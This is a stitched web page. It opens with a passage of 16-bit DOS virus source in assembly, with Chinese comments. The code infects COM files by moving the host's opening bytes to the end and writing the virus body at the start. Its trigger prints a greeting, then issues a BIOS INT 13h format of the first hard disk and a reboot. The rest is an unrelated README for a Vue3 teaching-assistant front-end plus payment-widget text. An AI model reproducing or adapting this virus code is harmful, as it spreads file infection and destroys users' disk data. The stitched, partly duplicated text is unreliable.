  mov cx,0 ;清除文件属性 
  int 21h 
  jnc replaceOk 
  Out1: 
  Ret 
  ReplaceOk: 
  cmp cs:Flag24h,-1 ; 
  je Out1 ; 
  mov ax,3d02h ;读写方式打开文件 
  int 21h 
  jc Out1 
  mov cs:handle,ax 
  mov ah,3fh 
  mov bx,cs:handle 
  mov cx,thesize 
  push cs 
  pop ds 
  mov dx,filebufOfs 
  int 21h ;将最前一段(大小为病毒大小) 
  jnc condowrite ;读出来 
  mov Dx,offset DtaSave.filename 
  mov Cl,cs:dtaSave.Attr 
  xor ch,ch 
  mov Ax,4301h ;恢复文件属性 
  int 21h 
  Ret 
  Condowrite: 
  mov ax,4202h 
  mov bx,cs:handle 
  xor cx,cx 
  xor dx,dx 
  int 21h ;移动文件指针到最后 
  add ax,100h 
  mov cs:thebegin,ax 
  mov dx,fileBufofs 
  mov cx,theSize 
  mov bx,cs:handle 
  mov ah,40h 
  int 21h ;把保存的宿主前面的代码写到 
  mov ax,4200h ;文件末尾 
  xor cx,cx 
  xor dx,dx 
  mov bx,cs:handle 
  int 21h ;移动文件指针到最前 
  mov dx,100h 
  mov ah,40h 
  mov ah,40h 
  mov cx,theSize 
  mov bx,cs:handle 
  int 21h ;把病毒体写入文件开头处 
  mov ah,3eh 
  mov bx,cs:handle 
  int 21h ;关闭文件 
  mov dx,offset DtaSave.filename 
  xor ch,ch 
  mov cl,cs:DtaSave.Attr 
  mov ax,4301h 
  int 21h ;恢复文件属性 
  mov al,0 
  ret 
  Dofile endp 
  CHangeDta proc near ;由于4F和12H方式DTA有差别 
  mov ah,cs:DtaSave.reserved+7 
  cmp ah,0 ;为了同等对待 
  jne NotCur ;把12H方式的DTA格式按 
  ;4FH方式转换 
  ;两种DTA方式的DTA格式请 
  ;参考我的HELPSTAR中的说明 
  push cs 
  pop ds 
  mov ah,19h 
  int 21h 
  mov ah,al 
  Inc ah 
  NotCur: 
  add ah,'A'-1 
  mov cs:DtaSave.filename,ah 
  mov ah,':' 
  mov cs:dtaSave.filename+1,ah 
  push cs 
  pop ds 
  mov si,offset DtaSave+1+7 
  push cs 
  pop es 
  mov di,offset DtaSave.filename+2 
  mov cx,8 
  cld 
  LoopCh: 
  lodsb 
  cmp al,' ' 
  je outLoopCh 
  dec si 
  movsb 
  loop loopCh 
  outLoopCh: 
  mov al,'.' 
  mov es:[di],al 
  inc di 
  mov si,offset DtaSave+9+7 
  mov cx,3 
  LoopCh1: 
  lodsb 
  cmp al,' ' 
  je outLoopCh1 
  dec si 
  movsb 
  loop loopCh1 
  outLoopCh1: 
  xor ah,ah 
  mov es:[di],ah 
  mov cs:dtaSave.Attr,ah 
  Ret 
  CHangeDta endp 
  CHangeDta endp 
  Show Proc near ;病毒发作模块 
  push cs 
  pop ds 
  mov Dx,offset ShowMsg 
  mov ah,9 
  int 21h ;提示信息 
  Call form ;格式化程序 
  Ret 
  Show endp 
  ShowMsg db 07h,'My dear XLM:',0ah,0dh 
  db ' Happy birthday and happy a new year !',0ah,0dh,0ah,0dh 
  db ' Yours LEM .',0ah,0dh 
  db 0ah,0dh,'$' 
  ShowFlag db -1 
  form proc near 
  jmp Star_1 
  format_msg db 0,0,0,2 ;0-39,0-1,0-8 
  db 0,1,1,2 
  db 0,0,2,2 
  db 0,1,3,2 
  db 0,0,4,2 
  db 0,1,5,2 
  db 0,1,5,2 
  db 0,0,6,2 
  db 0,1,7,2 
  db 0,0,8,2 
  star_1: 
  mov ax,cs 
  mov es,ax 
  mov ds,ax 
  mov bx,offset format_msg 
  mov ah,5 
  mov al,0ffh 
  mov dl,80h 
  mov dh,0 
  mov cx,0 
  PushF 
  db 9ah ;Call AbsInt13Adr 
  dd 0f000CC78h ;INT 13的绝对地址 
  Ret ;去掉Ret则自动重启动 
  db 0EAH 
  dd 0F000FFF0h ;重新启动 
  form endp 
  Endit: 
  retms ;返回DOS,对于第一次感染有用 
  pend(王朝网络 wangchao.net.cn)
基于开源大模型的教学实训智能体软件,帮助教师生成课前备课设计、课后检测问答,提升效率与效果,提供学生全时在线练习与指导,实现教学相长。 智能教学辅助系统 这是一个智能教学辅助系统的前端项目,基于 Vue3+TypeScript 开发,使用 Ant Design Vue 作为 UI 组件库。 功能模块 用户模块 登录/注册功能,支持学生和教师角色 毛玻璃效果的登录界面 教师模块 备课与设计:根据课程大纲自动设计教学内容 考核内容生成:自动生成多样化考核题目及参考答案 学情数据分析:自动化检测学生答案,提供数据分析 学生模块 在线学习助手:结合教学内容解答问题 实时练习评测助手:生成随练题目并纠错 管理模块 用户管理:管理员/教师/学生等用户基本管理 课件资源管理:按学科列表管理教师备课资源 大屏概览:使用统计、效率指数、学习效果等 技术栈 Vue3 TypeScript Pinia 状态管理 Ant Design Vue 组件库 Axios 请求库 ByteMD 编辑器 ECharts 图表库 Monaco 编辑器 双主题支持(专业科技风/暗黑风) 开发指南 # 安装依赖 npm install # 启动开发服务器 npm run dev # 构建生产版本 npm run build 简介 本项目旨在开发一个基于开源大模型的教学实训智能体软件,帮助教师生成课前备课设计、课后检测问答,提升效率与效果,提供学生全时在线练习与指导,实现教学相长。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值